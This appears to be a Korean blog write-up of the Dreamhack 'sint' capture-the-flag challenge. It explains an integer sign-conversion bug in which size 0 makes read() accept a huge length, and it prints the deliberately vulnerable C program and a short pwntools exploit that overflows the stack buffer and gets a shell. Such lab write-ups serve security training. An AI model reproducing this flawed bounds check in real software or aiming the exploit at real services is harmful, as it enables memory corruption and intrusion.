ABOUT ME

Today
Yesterday
Total
  • sint
    system hacking/dreamhack(드림핵) 2022. 5. 19. 20:38

    C언어의 Type Error에 대한 문제이다.

    read함수의 read (int __fd, void *__buf, size_t __nbytes)에서 __nbytes는 size_t형이다. 이때 int형 변수를 매개변수로 건내준다면, 음수인 매개변수는 size_t에서 양수로 변환되어 엄청 큰 값이 된다.

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    
    void alarm_handler()
    {
        puts("TIME OUT");
        exit(-1);
    }
    
    void initialize()
    {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        signal(SIGALRM, alarm_handler);
        alarm(30);
    }
    
    void get_shell()
    {
        system("/bin/sh");
    }
    
    int main()
    {
        char buf[256];
        int size;
    
        initialize();
    
        signal(SIGSEGV, get_shell);
    
        printf("Size: ");
        scanf("%d", &size);
    
        if (size > 256 || size < 0)
        {
            printf("Buffer Overflow!\n");
            exit(0);
        }
    
        printf("Data: ");
        read(0, buf, size - 1);
    
        return 0;
    }
    signal(SIGSEGV, get_shell); 가 있으니 return address를 덮어씌우기만 하면 get_shell()함수가 실행되게 해놨다. size에 0을 넣고, read함수에서 unsigned int의 최대값만큼 읽게된다.
    from pwn import *
    
    p = process("./sint")
    p = remote("host1.dreamhack.games", 13485)
    
    p.sendlineafter("Size: ", "0")
    p.sendlineafter("Data: ", "01234566789"*30)
    
    p.interactive()

     

    'system hacking > dreamhack(드림핵)' 카테고리의 다른 글

    validator  (0) 2022.05.29
    cmd_center  (0) 2022.05.19
    tcache_dup2  (0) 2022.05.16
    tcache_dup  (0) 2022.05.16
    Tcache Poisoning  (0) 2022.05.13
Designed by Tistory.